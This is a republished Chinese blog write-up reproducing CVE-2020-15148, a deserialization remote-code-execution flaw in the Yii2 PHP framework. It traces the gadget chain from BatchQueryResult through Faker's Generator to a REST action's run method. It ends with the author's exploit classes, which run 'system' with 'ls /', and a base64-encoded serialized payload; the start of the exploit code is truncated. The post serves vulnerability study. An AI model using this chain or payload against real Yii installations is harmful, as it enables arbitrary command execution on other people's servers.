返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >Yii2框架 反序列化漏洞复现(CVE-2020-15148)
  • 567
分享到

Yii2框架 反序列化漏洞复现(CVE-2020-15148)

安全phpweb安全网络安全 2023-08-31 15:08:00 567人浏览 薄情痞子
摘要

前言: PHPthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了 源码地址:https://github.com/yiisoft/yii2/relea

前言:

PHPthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了

源码地址:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

该漏洞适用于YII2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。

环境用的是phpstudy。 需要 修改config\WEB.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。

CVE-2020-15148漏洞复现

一般的反序列化链子 都会以魔术方法 __destruct 作为起点来找利用点   这个漏洞也是的。 全局搜索 __destruct ,对于这个魔术方法 有很多文件都有, 只能一个一个去找利用点 去探索了。

其实开查找 也挺方便的 直接 CTRL + 左键 ,最终找到 /vendor/yiisoft/yii2/db/BatchQueryResult.php  reset() 方法可以利用 这会又可以调用 _dataReader下的close方法。

class BatchQueryResult{    private $_dataReader;            public function __destruct()    {        // make sure cursor is closed        $this->reset();    }    public function reset()    {        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }        $this->_dataReader = null;        $this->_batch = null;        $this->_value = null;        $this->_key = null;    }}

而这里的 $_dataReader 是可控的 ,那么我们就可以联想到__call 方法,让_dataReader 成为一个类 去调用 __close() ,如果该类中没有__close 方法,就会自动调用__call方法。

__call : 在对象中调用一个不可访问方法时,__call会被调用。

继续 全局搜索__call ,找到   一条错误的链子( 可以跳过,直接去看我下面正确的链子)

错误的链子查找:

src\Codeception\Util\Maybe.php中的 __call方法()
    public function __call($method, $args)    {        if ($this->val === null) {            return new Maybe();        }        return call_user_func_array([$this->val, $method], $args);    }

think : 这个 val 可控,但是我们调用的 close()方法是无参的 这里的 $method应该是 close方法,而$args  应该是空,所以 这条链子应该是用不了的 (如果我说错了,请各位师傅纠正我一下,因为我是真的菜)

正确的链子:

继续全局找 __call()  ,找到 src/Faker/Generator.php 可以看到:

    public function __call($method, $attributes)    {        return $this->fORMat($method, $attributes);    }

跟进一下这个 $this ->format()

src/Faker/Generator.php

    public function format($formatter, $arguments = array())    {        return call_user_func_array($this->getFormatter($formatter), $arguments);    }

call_user_func_array(callable $callback, array $args): mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

这里是call_user_func_array直接出来了 ,跟进一下这个

$this->getFormatter($formatter)
    public function getFormatter($formatter)    {        if (isset($this->formatters[$formatter])) {            return $this->formatters[$formatter];        }        foreach ($this->providers as $provider) {            if (method_exists($provider, $formatter)) {                $this->formatters[$formatter] = array($provider, $formatter);                return $this->formatters[$formatter];            }        }        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));    }

进入第一个 if 判断,如果 $this - > formatters[$formatter] 有值,就返回其值,

call_user_func_array的第二个 $arguments 的值,我们无法控制,默认为空数组,但是可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法。

所以我们能够做到的只有两个办法,一个就是调用 yii2 中的无参方法,或者调用 原生类php 的类似 phpinfo() 这样的无参方法,但是肯定事不能RCE的,所以我们的思路是要调用Yii框架中的无参的 call_user_func_array 作为跳板 再次调用执行。

例如:

但是有个问题, 无参的参数实在是太多了,一个一个找肯定费时费力,这就要学习一下其他师傅的高深只会,直接 用正则匹配来搜索含有 call_user_func_array的方法

全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

找到 /vendor/yiisoft/yii2/rest/CreateAction.php     这样就一目了然了

    public function run()    {        if ($this->checkAccess) {            call_user_func($this->checkAccess, $this->id);        }        return $this->prepareDataProvider();    }

恰好恰好的是 ctrl +左键可以点击 check Access 和 id  刚好这两个值是可控的,那么链子就可以连上了!

总结一下此条链子的利用:

yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()

我的EXP:

_dataReader =new Generator();    }    }}namespace Faker{    use yii\rest\IndexAction;    class Generator{        protected $formatters;        public function __construct()        {            $this->formatters['close'] = [new IndexAction(), 'run']; #此处调用 IndexAction类中的 run方法        }    }}namespace yii\rest{    class IndexAction{        public $checkAccess;        public $id;        public function __construct()        {               $this->checkAccess = 'system';            $this->id = 'ls /';        }    }}//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6INLPaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6NDoibHMgLyI7fWk6MTtzOjM6InJ1biI7fX19fQ

yii 2.0.37以后的版本更新的链子  上课摸鱼的时候再审,现在我要去搞java了..晚会再更后面版本的写到这里

总结:

链子还是挺短 挺简单的,就是需要灵活利用魔术方法,还有回调函数. 学到了

来源地址:https://blog.csdn.net/snowlyzz/article/details/127519938

--结束END--

本文标题: Yii2框架 反序列化漏洞复现(CVE-2020-15148)

本文链接: https://lsjlt.com/news/386006.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作